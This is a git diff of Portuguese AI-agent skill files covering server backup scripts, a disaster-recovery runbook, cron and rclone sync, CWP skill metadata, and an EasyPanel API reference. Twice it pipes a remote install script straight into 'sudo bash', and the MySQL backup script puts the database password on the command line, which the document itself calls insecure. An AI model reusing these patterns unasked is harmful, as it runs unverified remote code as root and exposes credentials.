- [ ] Contactos de emergencia definidos
- [ ] Acesso offsite confirmado (credenciais)
- [ ] Teste DR trimestral agendado
- [ ] RTO/RPO documentados
- [ ] Plano de comunicação (clientes/equipa)
- [ ] Plano de comunicacao (clientes/equipa)
### Runbook de Recovery
### Runbook
```markdown
# 🚨 DISASTER RECOVERY RUNBOOK
Ver runbook completo passo-a-passo em `references/scripts.md` (seccao Runbook Disaster Recovery).
## Cenário: Servidor CWP Inoperacional
### Passo 1: Avaliação (5 min)
- [ ] Confirmar que servidor não responde (ping, SSH)
- [ ] Identificar tipo de falha (hardware, software, ataque)
- [ ] Activar equipa de recovery
- [ ] Comunicar clientes afectados (se downtime >1h)
### Passo 2: Decisão (10 min)
- [ ] Tentar recovery no servidor actual?
- [ ] Provisionar novo servidor?
- [ ] Activar failover (se existir)?
### Passo 3: Provisionar Servidor (30 min)
- [ ] Servidor novo: Ubuntu 22.04 ou CentOS 7
- [ ] Instalar CWP: `sh cwp-el7-latest.sh`
- [ ] Configurar firewall e SSH
- [ ] Configurar DNS (apontar para novo IP)
### Passo 4: Restore Bases de Dados (1-2h)
```bash
# Descomprimir backup mais recente
gunzip ealmeida_desk24_20260203_120000.sql.gz
# Criar BD
mysql -e "CREATE DATABASE ealmeida_desk24;"
# Restore
mysql ealmeida_desk24 < ealmeida_desk24_20260203_120000.sql
# Verificar
mysql -e "USE ealmeida_desk24; SHOW TABLES;"
```
### Passo 5: Restore Ficheiros (1-2h)
```bash
# Descomprimir backup sites
tar -xzf wordpress_sites_20260203.tar.gz -C /tmp/
# Copiar para CWP
cp -r /tmp/emanuelalmeida.pt /home/ealmeida/
# Corrigir permissões
chown -R ealmeida:ealmeida /home/ealmeida/emanuelalmeida.pt
chmod 755 /home/ealmeida/emanuelalmeida.pt
```
### Passo 6: Restore Configurações (30 min)
```bash
# Descomprimir backup config
tar -xzf server_config_20260203.tar.gz -C /tmp/
# Restaurar Nginx/Apache
cp -r /tmp/etc/nginx/* /etc/nginx/
cp -r /tmp/etc/httpd/* /etc/httpd/
# Restaurar MySQL config
cp /tmp/etc/my.cnf /etc/my.cnf
# Restaurar SSL
cp -r /tmp/root/.acme.sh/cwp_certs/* /root/.acme.sh/cwp_certs/
```
### Passo 7: Validação (30 min)
- [ ] Testar acesso SSH
- [ ] MySQL a responder
- [ ] Apache/Nginx a correr
- [ ] Sites WordPress a carregar
- [ ] SSL activo
- [ ] Email a funcionar (se aplicável)
### Passo 8: DNS Update (2-24h propagação)
- [ ] Actualizar DNS A records para novo IP
- [ ] Aguardar propagação (verificar: `dig +short domain.pt`)
- [ ] Monitorizar logs de acesso
### Passo 9: Comunicação
- [ ] Notificar equipa: recovery completo
- [ ] Notificar clientes: serviços restaurados
- [ ] Documentar lições aprendidas
**RTO Total Estimado:** 4-6 horas
**RPO:** Depende de frequência de backup (diário = 24h)
```
### Restore Testing (OBRIGATÓRIO)
```bash
#!/bin/bash
# test-restore.sh - Testar restore em ambiente isolado
TEST_DB="test_restore_$(date +%Y%m%d)"
BACKUP_FILE="/backups/mysql/ealmeida_desk24_latest.sql.gz"
echo "🧪 TESTE DE RESTORE"
echo "==================="
# 1. Criar BD de teste
mysql -e "CREATE DATABASE $TEST_DB;"
echo "✅ BD de teste criada: $TEST_DB"
# 2. Restore do backup
gunzip < "$BACKUP_FILE" | mysql "$TEST_DB"
echo "✅ Backup restaurado"
# 3. Validar integridade
TABLES=$(mysql -Nse "SELECT COUNT(*) FROM information_schema.TABLES WHERE table_schema='$TEST_DB';")
echo "📊 Tabelas restauradas: $TABLES"
# 4. Check de tabelas
mysqlcheck --check "$TEST_DB" | grep -i error
if [ $? -ne 0 ]; then
echo "✅ Sem erros detectados"
else
echo "❌ Erros encontrados!"
fi
# 5. Verificar dados (exemplo)
ROWS=$(mysql -Nse "SELECT COUNT(*) FROM $TEST_DB.tbltasks;")
echo "📝 Registos tbltasks: $ROWS"
# 6. Tempo de restore
echo "⏱️ Tempo restore: calculado acima"
# 7. Limpar
mysql -e "DROP DATABASE $TEST_DB;"
echo "🗑️ BD de teste eliminada"
echo ""
echo "✅ TESTE CONCLUÍDO - Backup válido e funcional"
```
**Frequência:** Mensal (mínimo)
**RTO total estimado:** 4-6 horas
---
## Automação com Cron
## Anti-patterns
```bash
# Editar crontab
crontab -e
```
**Exemplo de Schedule:**
```cron
# Backup MySQL (diário às 02:00)
0 2 * * * /root/scripts/backup-mysql.sh >> /var/log/backup-mysql.log 2>&1
# Backup WordPress (diário às 03:00)
0 3 * * * /root/scripts/backup-wordpress.sh >> /var/log/backup-wp.log 2>&1
# Backup configurações (semanal, domingo 04:00)
0 4 * * 0 /root/scripts/backup-server-config.sh >> /var/log/backup-config.log 2>&1
# Rotação backups (diário às 05:00)
0 5 * * * /root/scripts/backup-rotation-gfs.sh >> /var/log/backup-rotation.log 2>&1
# Teste de restore (mensal, dia 1 às 06:00)
0 6 1 * * /root/scripts/test-restore.sh >> /var/log/test-restore.log 2>&1
# Sync para cloud (diário às 07:00)
0 7 * * * rclone sync /backups gdrive:backups >> /var/log/rclone-sync.log 2>&1
```
**Monitorização:**
```bash
# Ver últimas execuções
tail -50 /var/log/backup-mysql.log
# Alertas de falha (adicionar ao script)
if [ $? -ne 0 ]; then
echo "ERRO: Backup falhou" | mail -s "BACKUP FAILED" admin@domain.com
fi
```
| Anti-pattern | Problema | Solucao |
|--------------|----------|---------|
| Backup sem teste | Pode falhar no restore | Teste mensal obrigatorio |
| Apenas local | Perda em desastre | Regra 3-2-1 (offsite obrigatorio) |
| Sem encriptacao | Dados expostos | Encriptar backups sensiveis |
| Manual | Esquecimento humano | Automatizar via cron |
| Sem alertas | Falhas nao detectadas | Monitorizacao + notificacoes |
| Password no comando | Inseguro (history, ps) | Usar .my.cnf ou variaveis ENV |
| Backup sem rotacao | Disco cheio | Script de rotacao automatico |
| Sem documentacao | Caos em emergencia | Runbook DR actualizado |
---
## Cloud Sync com rclone
### Configuração
```bash
# Instalar rclone
curl https://rclone.org/install.sh | sudo bash
# Configurar Google Drive
rclone config
# Nome: gdrive
# Tipo: drive
# Seguir wizard de autenticação
```
### Sync Automático
```bash
#!/bin/bash
# sync-backups-cloud.sh
LOCAL_DIR="/backups"
REMOTE="gdrive:backups"
# Sync (mantém estrutura)
rclone sync "$LOCAL_DIR" "$REMOTE" \
--exclude "*.tmp" \
--exclude "*.log" \
--progress
echo "✅ Sync para cloud concluído"
```
---
## Anti-Patterns (EVITAR)
| Anti-Pattern | Problema | Solução Correcta |
|--------------|----------|------------------|
| **Backup sem teste** | Pode falhar no restore | Teste mensal obrigatório |
| **Apenas local** | Perda em desastre | Regra 3-2-1 (offsite obrigatório) |
| **Sem encriptação** | Dados expostos | Encriptar backups sensíveis |
| **Manual** | Esquecimento humano | Automatizar via cron |
| **Sem alertas** | Falhas não detectadas | Monitorização + notificações |
| **Password no comando** | Inseguro (history, ps) | Usar .my.cnf ou variáveis ENV |
| **Backup sem rotação** | Disco cheio | Script de rotação automático |
| **Sem documentação** | Caos em emergência | Runbook DR actualizado |
---
## Checklist Implementação Completa
## Checklist de implementacao
### Planeamento
- [ ] RPO/RTO definidos por sistema
- [ ] Regra 3-2-1 implementada
- [ ] Política de retenção GFS
- [ ] Politica de retencao GFS
- [ ] Budget aprovado (storage, cloud)
### Automação
### Automacao
- [ ] Scripts de backup criados
- [ ] Cron jobs configurados
- [ ] Rotação automática activa
- [ ] Rotacao automatica activa
- [ ] Cloud sync activo (rclone)
### Segurança
- [ ] Encriptação em backups sensíveis
- [ ] Permissões correctas (600/700)
### Seguranca
- [ ] Encriptacao em backups sensiveis
- [ ] Permissoes correctas (600/700)
- [ ] Passwords em .my.cnf
- [ ] Offsite com autenticação 2FA
- [ ] Offsite com autenticacao 2FA
### Monitorização
### Monitorizacao
- [ ] Logs de backup centralizados
- [ ] Alertas de falha (email/Slack)
- [ ] Dashboard de status (opcional)
- [ ] Relatório semanal automático
- [ ] Relatorio semanal automatico
### Disaster Recovery
- [ ] Runbook DR criado e testado
- [ ] Teste restore mensal agendado
- [ ] Documentação offline acessível
- [ ] Equipa treinada
- [ ] Contactos de emergência definidos
### Validação
### Validacao
- [ ] Primeiro restore teste executado
- [ ] RTO medido (tempo real)
- [ ] RPO validado (dados perdidos)
@@ -644,117 +177,8 @@ echo "✅ Sync para cloud concluído"
---
## Datasets Dify (Consulta Obrigatória)
## Ficheiros de referencia
Consultar para aprofundar conhecimento ou resolver casos específicos:
| Dataset | ID | Uso |
|---------|----|----|
| **TI (Tecnologia da Informação)** | `7f63ec0c-6321-488c-b107-980140199850` | Estratégias backup gerais |
| **Linux** | `bde4eddd-4618-402c-8bfb-bb947ed9219d` | Scripts rsync, tar, cron |
| **CWP Centos Web Panel** | `b2a4d2c5-fe55-412c-bc28-74dbd611905d` | Backup contas CWP |
| **AWS (Amazon Web Services)** | `cc7f000a-ad86-49b6-b59b-179e65f8a229` | S3, Glacier, EBS snapshots |
**Consultar quando:**
- Implementar estratégia backup em nova plataforma
- Optimizar scripts de backup existentes
- Configurar replicação de dados
- Disaster recovery multi-datacenter
```javascript
// Exemplo: pesquisar backup incremental MySQL
mcp__notebooklm__notebook_query, mcp__dify-kb__dify_kb_retrieve_segments({
dataset_id: "7f63ec0c-6321-488c-b107-980140199850",
query: "mysql binlog incremental backup recovery",
top_k: 3
})
```
---
## Changelog
### v2.0.0 (2026-02-03)
- **ENHANCED:** Workflows detalhados para cada tipo de backup
- Scripts completos prontos a usar (MySQL, WordPress, CWP)
- Runbook DR completo passo-a-passo
- GFS retention policy implementada
- Automação com cron documentada
- Cloud sync com rclone
- Teste de restore automatizado
- Anti-patterns identificados
- Checklist de implementação completa
### v1.0.0 (2026-01-27)
- Versão inicial
- Conceitos RPO/RTO e regra 3-2-1
- Estratégias básicas por tipo de dados
---
**Versão:** 2.0.0 | **Autor:** Descomplicar®
**Última actualização:** 2026-02-03 (Scripts prontos + DR Runbook + Automação)
---
## Quando NÃO Usar
- Para tarefas fora do domínio de especialização desta skill
- Quando outra skill mais específica está disponível
- Para operações que requerem aprovação manual obrigatória
- Quando os requisitos não estão claramente definidos
## Protocolo de Execução
1. **Análise Inicial**
- Verificar requisitos e contexto
- Identificar ferramentas necessárias
2. **Preparação**
- Validar acesso a recursos
- Preparar ambiente de trabalho
3. **Execução**
- Executar operações de forma incremental
- Validar cada passo antes de prosseguir
4. **Validação**
- Verificar resultados obtidos
- Confirmar sucesso da operação
5. **Conclusão**
- Documentar alterações realizadas
- Reportar status final e próximos passos
## Exemplos de Uso
### Exemplo 1: Caso Básico
```
User: [requisição simples relacionada com backup-strategies]
Skill: [execução directa com validação]
Output: [resultado conciso e accionável]
```
### Exemplo 2: Caso Complexo
```
User: [requisição multi-passo ou complexa]
Skill:
1. Análise dos requisitos
2. Planeamento da abordagem
3. Execução faseada
4. Validação contínua
Output: [resultado detalhado com próximos passos]
```
### Exemplo 3: Caso com Dependências
```
User: [requisição que depende de outros sistemas]
Skill:
1. Verificar dependências disponíveis
2. Coordenar com skills/MCPs necessários
3. Executar workflow integrado
Output: [resultado completo com referências]
```
| Ficheiro | Conteudo |
|----------|----------|
| [references/scripts.md](references/scripts.md) | Scripts MySQL/PostgreSQL/WordPress/CWP, rotacao GFS, cron, rclone, teste restore, runbook DR |

View File

@@ -0,0 +1,297 @@
# /backup-strategies - Scripts e Automação
Scripts prontos a usar para backup e disaster recovery.
## MySQL - Dump com Compressão
```bash
#!/bin/bash
# backup-mysql.sh
DB_NAME="ealmeida_desk24"
DB_USER="root"
DB_PASS="PASSWORD" # Usar ficheiro .my.cnf na prática
BACKUP_DIR="/backups/mysql"
DATE=$(date +%Y%m%d_%H%M%S)
RETENTION_DAYS=7
mkdir -p "$BACKUP_DIR"
mysqldump \
--single-transaction \
--routines \
--triggers \
--events \
--hex-blob \
-u "$DB_USER" \
-p"$DB_PASS" \
"$DB_NAME" | gzip -9 > "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz"
if [ $? -eq 0 ]; then
SIZE=$(du -h "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz" | cut -f1)
echo "Backup $DB_NAME: $SIZE"
else
echo "ERRO ao fazer backup de $DB_NAME"
exit 1
fi
find "$BACKUP_DIR" -name "${DB_NAME}_*.sql.gz" -mtime +$RETENTION_DAYS -delete
```
**Opções Críticas:**
- `--single-transaction`: Consistência sem lock (InnoDB)
- `--routines`: Incluir stored procedures
- `--hex-blob`: Formato binário seguro para BLOBs
**Anti-Patterns:**
- `mysqldump database > backup.sql` sem `--single-transaction`
- Backup sem compressão
- Password na linha de comando
## PostgreSQL - pg_dump
```bash
# Backup com compressão máxima
pg_dump -Fc -Z9 -d database_name > backup_$(date +%Y%m%d_%H%M%S).dump
# Backup de cluster completo
pg_dumpall -c | gzip > cluster_backup_$(date +%Y%m%d).sql.gz
```
## Backup Incremental MySQL com Binlog
```bash
# Activar binlog (my.cnf):
# [mysqld]
# log-bin=/var/log/mysql/mysql-bin.log
# expire_logs_days=7
mysqlbinlog --read-from-remote-server --host=localhost \
--start-datetime="2026-02-03 00:00:00" \
mysql-bin.000001 > incremental_backup.sql
```
---
## Backup WordPress
### Backup Completo
```bash
#!/bin/bash
# backup-wordpress.sh
SITE_NAME="emanuelalmeida"
SITE_PATH="/home/ealmeida/emanuelalmeida.pt"
BACKUP_DIR="/backups/wordpress"
DATE=$(date +%Y%m%d_%H%M%S)
mkdir -p "$BACKUP_DIR"
tar -czf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" \
--exclude='wp-content/cache' \
--exclude='wp-content/uploads/cache' \
--exclude='wp-content/upgrade' \
--exclude='*.log' \
-C "$(dirname $SITE_PATH)" \
"$(basename $SITE_PATH)"
if [ -f "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" ]; then
tar -tzf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo "Backup OK e verificado"
else
echo "Arquivo corrompido!"
exit 1
fi
fi
find "$BACKUP_DIR" -name "${SITE_NAME}_*.tar.gz" -mtime +7 -delete
```
### Backup Incremental com rsync
```bash
#!/bin/bash
SOURCE="/home/ealmeida/emanuelalmeida.pt"
BACKUP_BASE="/backups/incremental"
DATE=$(date +%Y%m%d)
rsync -avz --delete \
--backup --backup-dir="$BACKUP_BASE/delta/$DATE" \
--exclude='wp-content/cache' \
"$SOURCE/" "$BACKUP_BASE/current/"
```
---
## Backup Servidor CWP
### Backup Conta CWP
```bash
/usr/local/cwpsrv/htdocs/resources/scripts/backup_accounts \
--account=username \
--type=full \
--destination=/backups/cwp
```
### Backup Configurações Servidor
```bash
#!/bin/bash
BACKUP_DIR="/backups/config"
DATE=$(date +%Y%m%d_%H%M%S)
tar -czf "$BACKUP_DIR/server_config_${DATE}.tar.gz" \
/etc/nginx \
/etc/apache2 \
/etc/mysql \
/etc/my.cnf \
/etc/php* \
/usr/local/cwpsrv/conf \
/root/.acme.sh/cwp_certs \
/etc/cron* \
/etc/fstab \
/etc/hosts
```
---
## Rotação GFS (Grandfather-Father-Son)
```bash
#!/bin/bash
BACKUP_DIR="/backups"
HOURLY_KEEP=24
DAILY_KEEP=7
WEEKLY_KEEP=4
MONTHLY_KEEP=12
find "$BACKUP_DIR/hourly" -mtime +1 -delete
find "$BACKUP_DIR/daily" -mtime +$DAILY_KEEP -delete
find "$BACKUP_DIR/weekly" -mtime +$((WEEKLY_KEEP * 7)) -delete
find "$BACKUP_DIR/monthly" -mtime +$((MONTHLY_KEEP * 30)) -delete
du -sh "$BACKUP_DIR"/*
```
| Tipo | Retenção | Frequência |
|------|----------|------------|
| Horário | 24h | A cada hora |
| Diário | 7 dias | 1x/dia (00:00) |
| Semanal | 4 semanas | 1x/semana |
| Mensal | 12 meses | 1x/mês |
---
## Cron Schedule
```cron
# Backup MySQL (diário às 02:00)
0 2 * * * /root/scripts/backup-mysql.sh >> /var/log/backup-mysql.log 2>&1
# Backup WordPress (diário às 03:00)
0 3 * * * /root/scripts/backup-wordpress.sh >> /var/log/backup-wp.log 2>&1
# Backup configurações (semanal, domingo 04:00)
0 4 * * 0 /root/scripts/backup-server-config.sh >> /var/log/backup-config.log 2>&1
# Rotação backups (diário às 05:00)
0 5 * * * /root/scripts/backup-rotation-gfs.sh >> /var/log/backup-rotation.log 2>&1
# Teste de restore (mensal, dia 1 às 06:00)
0 6 1 * * /root/scripts/test-restore.sh >> /var/log/test-restore.log 2>&1
# Sync para cloud (diário às 07:00)
0 7 * * * rclone sync /backups gdrive:backups >> /var/log/rclone-sync.log 2>&1
```
---
## Cloud Sync com rclone
```bash
# Instalar rclone
curl https://rclone.org/install.sh | sudo bash
# Configurar Google Drive
rclone config
# Nome: gdrive | Tipo: drive | Seguir wizard
```
```bash
#!/bin/bash
LOCAL_DIR="/backups"
REMOTE="gdrive:backups"
rclone sync "$LOCAL_DIR" "$REMOTE" \
--exclude "*.tmp" \
--exclude "*.log" \
--progress
```
---
## Teste de Restore (OBRIGATÓRIO Mensal)
```bash
#!/bin/bash
TEST_DB="test_restore_$(date +%Y%m%d)"
BACKUP_FILE="/backups/mysql/ealmeida_desk24_latest.sql.gz"
mysql -e "CREATE DATABASE $TEST_DB;"
gunzip < "$BACKUP_FILE" | mysql "$TEST_DB"
TABLES=$(mysql -Nse "SELECT COUNT(*) FROM information_schema.TABLES WHERE table_schema='$TEST_DB';")
echo "Tabelas restauradas: $TABLES"
mysqlcheck --check "$TEST_DB" | grep -i error
mysql -e "DROP DATABASE $TEST_DB;"
echo "Teste concluído"
```
---
## Runbook Disaster Recovery
```markdown
# DISASTER RECOVERY RUNBOOK
## Cenário: Servidor CWP Inoperacional
### Passo 1: Avaliação (5 min)
- [ ] Confirmar que servidor não responde (ping, SSH)
- [ ] Identificar tipo de falha (hardware, software, ataque)
- [ ] Comunicar clientes afectados (se downtime >1h)
### Passo 2: Provisionar Servidor (30 min)
- [ ] Ubuntu 22.04 ou CentOS 7
- [ ] Instalar CWP: `sh cwp-el7-latest.sh`
- [ ] Configurar firewall e SSH
### Passo 3: Restore Bases de Dados (1-2h)
```bash
gunzip ealmeida_desk24_20260203_120000.sql.gz
mysql -e "CREATE DATABASE ealmeida_desk24;"
mysql ealmeida_desk24 < ealmeida_desk24_20260203_120000.sql
```
### Passo 4: Restore Ficheiros (1-2h)
```bash
tar -xzf wordpress_sites_20260203.tar.gz -C /tmp/
cp -r /tmp/emanuelalmeida.pt /home/ealmeida/
chown -R ealmeida:ealmeida /home/ealmeida/emanuelalmeida.pt
```
### Passo 5: Validação (30 min)
- [ ] Testar acesso SSH
- [ ] MySQL a responder
- [ ] Sites WordPress a carregar
- [ ] SSL activo
**RTO Total Estimado:** 4-6 horas
```

View File

@@ -1,11 +1,7 @@
---
name: cwp-accounts
description: CWP user account management using official /scripts/cwp_api. Create, suspend, remove accounts, fix permissions. Based on official CWP documentation only. Use when user mentions "conta cwp", "user cwp", "criar conta", "suspender conta", "permissões cwp".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Gestão de contas de utilizador no CWP via API oficial /scripts/cwp_api — criar, suspender, remover contas e corrigir permissões.
disable-model-invocation: true
---
# /cwp-accounts - Gestão de Contas CWP (Documentação Oficial)

View File

@@ -1,11 +1,7 @@
---
name: cwp-backup
description: CWP backup creation and management using official scripts. Creates user backups, manages backup locations. Based on official CWP documentation only. Use when user mentions "backup cwp", "restaurar cwp", "backup conta", "user backup".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Criação e gestão de backups no CWP com scripts oficiais — backups de utilizador, gestão de localizações e restauro.
disable-model-invocation: true
---
# /cwp-backup - Backups CWP (Documentação Oficial)

View File

@@ -1,11 +1,7 @@
---
name: cwp-email
description: CWP email management including DKIM, SPF, mail queue. Based on official CWP documentation only. Use when user mentions "email cwp", "dkim", "spf", "mail queue", "postfix cwp".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Gestão de email no CWP — configuração de DKIM, SPF, mail queue e Postfix baseada na documentação oficial.
disable-model-invocation: true
---
# /cwp-email - Email CWP (Documentação Oficial)

View File

@@ -1,11 +1,7 @@
---
name: cwp-php
description: CWP PHP version management. PHP Switcher, Selector, configuration. Based on official CWP documentation only. Use when user mentions "php cwp", "versão php", "php selector", "php switcher".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Gestão de versões PHP no CWP — PHP Switcher, Selector e configuração baseada na documentação oficial.
disable-model-invocation: true
---
# /cwp-php - Gestão PHP CWP (Documentação Oficial)
@@ -222,5 +218,24 @@ tail -f /var/log/php-rebuild.log
---
## Contexto NotebookLM
ANTES de executar, consultar notebooks para contexto especializado:
| Notebook | ID | Consultar quando |
|----------|-----|-----------------|
| WordPress Config CLI | fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d | Sempre |
```
mcp__notebooklm__notebook_query({
notebook_id: "fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d",
query: "<adaptar ao contexto de PHP versões e configuração CWP>"
})
```
Integrar insights do NotebookLM nas recomendações e decisões.
---
**Versão:** 1.0.0 | **Autor:** Descomplicar®
**Fonte:** wiki.centos-webpanel.com/php-selector, wiki.centos-webpanel.com/php-version-switcher

View File

@@ -1,11 +1,6 @@
---
name: cwp-scripts
description: Complete reference for CWP /scripts/ folder. All official CLI scripts documented. Based on official CWP documentation only. Use when user mentions "cwp scripts", "scripts cwp", "/scripts/", "comando cwp".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Referência completa dos scripts oficiais da pasta /scripts/ do CWP — todos os comandos CLI documentados.
---
# /cwp-scripts - Referência Completa Scripts CWP
@@ -258,5 +253,24 @@ Além dos scripts individuais, o CWP tem API unificada:
---
## Contexto NotebookLM
ANTES de executar, consultar notebooks para contexto especializado:
| Notebook | ID | Consultar quando |
|----------|-----|-----------------|
| WordPress Config CLI | fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d | Sempre |
```
mcp__notebooklm__notebook_query({
notebook_id: "fb2f26bd-8cb0-4d4c-bafc-4f1ebb51c51d",
query: "<adaptar ao contexto de scripts CWP e administração CLI>"
})
```
Integrar insights do NotebookLM nas recomendações e decisões.
---
**Versão:** 1.0.0 | **Autor:** Descomplicar®
**Fonte:** wiki.centos-webpanel.com/cwp-scripts

View File

@@ -1,11 +1,7 @@
---
name: cwp-security
description: CWP security management with CSF firewall. Block/unblock IPs, configure firewall, security hardening. Based on official CWP documentation only. Use when user mentions "csf", "firewall cwp", "bloquear ip", "segurança cwp", "ban ip".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Gestão de segurança CWP com firewall CSF/LFD — bloqueio/desbloqueio de IPs, configuração de firewall e hardening baseado na documentação oficial.
disable-model-invocation: true
---
# /cwp-security - Segurança CWP (Documentação Oficial)
@@ -298,5 +294,24 @@ curl -sI http://localhost | head -5
---
## Contexto NotebookLM
ANTES de executar, consultar notebooks para contexto especializado:
| Notebook | ID | Consultar quando |
|----------|-----|-----------------|
| Cibersegurança WordPress | 5f60adfd-2435-4725-8c12-9c11c5f51d75 | Sempre |
```
mcp__notebooklm__notebook_query({
notebook_id: "5f60adfd-2435-4725-8c12-9c11c5f51d75",
query: "<adaptar ao contexto de segurança CWP e firewall>"
})
```
Integrar insights do NotebookLM nas recomendações e decisões.
---
**Versão:** 1.0.0 | **Autor:** Descomplicar®
**Fonte:** wiki.centos-webpanel.com/csf-firewall-command-line

View File

@@ -1,11 +1,7 @@
---
name: cwp-ssl
description: CWP AutoSSL management using native acme.sh. Manages SSL certificates, renewals, and troubleshooting. Based on official CWP documentation only. Use when user mentions "ssl cwp", "autossl", "certificado ssl", "renovar ssl", "acme.sh".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Gestão de certificados SSL no CWP com acme.sh nativo — emissão, renovação e troubleshooting baseado na documentação oficial.
disable-model-invocation: true
---
# /cwp-ssl - Gestão SSL CWP (Documentação Oficial)

View File

@@ -1,11 +1,7 @@
---
name: cwp-webserver
description: CWP webserver management with official API. Apache, Nginx, rebuild configurations, restart services. Based on official CWP documentation only. Use when user mentions "apache cwp", "nginx cwp", "webserver cwp", "vhost cwp".
author: Descomplicar® Crescimento Digital
version: 1.1.0
quality_score: 72
user_invocable: true
desk_task: null
description: Gestão de webservers no CWP — configuração de Apache, Nginx, rebuild de vhosts e restart de serviços via API oficial.
disable-model-invocation: true
---
# /cwp-webserver - WebServers CWP (Documentação Oficial)

View File

@@ -1,51 +1,41 @@
---
name: easypanel-api
description: EasyPanel official tRPC API reference. All endpoints for projects, services, deploy, settings. Use when user mentions "easypanel api", "criar serviço easypanel", "deploy easypanel", "easypanel config".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 70
user_invocable: true
desk_task: 1502
description: Referência completa da API tRPC oficial do EasyPanel — todos os endpoints para projectos, serviços, deploy e configurações.
---
# /easypanel-api - API Oficial EasyPanel
Referência completa da API tRPC do EasyPanel. **Baseado em engenharia reversa do SDK oficial.**
Referência da API tRPC do EasyPanel. Baseado em engenharia reversa do SDK oficial.
---
## Autenticação
```bash
# Token guardado em /etc/easypanel/.api-token (chmod 600)
TOKEN=$(cat /etc/easypanel/.api-token)
# Header obrigatório
# Header obrigatório em todos os pedidos:
-H "Authorization: Bearer $TOKEN"
```
---
**Base URL:** `http://localhost:3000/api/trpc/`
## Base URL
```
http://localhost:3000/api/trpc/
```
**Nota:** Usar localhost via SSH, não expor externamente.
Usar sempre via SSH localhost. Nunca expor externamente.
---
## Formato de Requests
## Formato de Pedidos
| Método | Quando usar | Formato |
|--------|-------------|---------|
| GET | Leitura (list, inspect, get) | `?input=URL_ENCODED_JSON` |
| POST | Escrita (create, update, deploy, destroy) | `-d '{"json":{...}}'` com `Content-Type: application/json` |
### GET (leitura)
```bash
# GET
curl -s "http://localhost:3000/api/trpc/ENDPOINT?input=URL_ENCODED_JSON" \
-H "Authorization: Bearer $TOKEN"
```
### POST (escrita)
```bash
# POST
curl -s -X POST "http://localhost:3000/api/trpc/ENDPOINT" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
@@ -56,344 +46,82 @@ curl -s -X POST "http://localhost:3000/api/trpc/ENDPOINT" \
## Projects API
### Listar Projectos
| Endpoint | Tipo | Descrição |
|----------|------|-----------|
| `projects.listProjects` | GET | Listar todos os projectos |
| `projects.listProjectsAndServices` | GET | Projectos + todos os serviços |
| `projects.createProject` | POST | Criar projecto (`name`) |
| `projects.destroyProject` | POST | Destruir projecto (`projectName`) |
| `projects.inspectProject` | GET | Inspecionar projecto (`projectName`) |
```bash
# Listar projectos (teste rápido de autenticação)
curl -s "http://localhost:3000/api/trpc/projects.listProjects" \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"result": {
"data": {
"json": [
{"name": "descomplicar", "createdAt": "2024-12-30T01:32:45.738Z"},
{"name": "clientes", "createdAt": "2024-12-30T16:18:38.840Z"}
]
}
}
}
```
### Listar Projectos com Serviços
```bash
curl -s "http://localhost:3000/api/trpc/projects.listProjectsAndServices" \
-H "Authorization: Bearer $TOKEN"
```
**Response:** Lista completa de projectos e todos os serviços com configurações.
### Criar Projecto
```bash
# Criar projecto
curl -s -X POST "http://localhost:3000/api/trpc/projects.createProject" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"json":{"name":"novo-projecto"}}'
```
### Destruir Projecto
```bash
curl -s -X POST "http://localhost:3000/api/trpc/projects.destroyProject" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"nome-projecto"}}'
```
### Inspeccionar Projecto
```bash
curl -s "http://localhost:3000/api/trpc/projects.inspectProject?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
```
---
## Services API
### Service Types
Endpoints completos com exemplos curl: ver [references/services-api.md](references/services-api.md)
| Type | Descrição |
|------|-----------|
| `app` | Aplicação (Node.js, Python, Go, etc.) |
| `mysql` | MySQL database |
| `mariadb` | MariaDB database |
| `postgres` | PostgreSQL database |
| `mongo` | MongoDB database |
| `redis` | Redis cache |
| Endpoint | Tipo | Descrição |
|----------|------|-----------|
| `services.app.createService` | POST | Criar serviço app |
| `services.postgres.createService` | POST | Criar PostgreSQL |
| `services.mysql.createService` | POST | Criar MySQL |
| `services.redis.createService` | POST | Criar Redis |
| `services.app.inspectService` | GET | Inspecionar serviço |
| `services.app.deployService` | POST | Fazer deploy |
| `services.app.enableService` | POST | Activar serviço |
| `services.app.disableService` | POST | Desactivar serviço |
| `services.app.destroyService` | POST | Destruir serviço |
### Criar Serviço App
**Parâmetros obrigatórios:** `projectName` + `serviceName` em todos os endpoints de serviços.
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.createService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```
### Criar Serviço Database
```bash
# PostgreSQL
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.createService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-db"}}'
# MySQL
curl -s -X POST "http://localhost:3000/api/trpc/services.mysql.createService" \
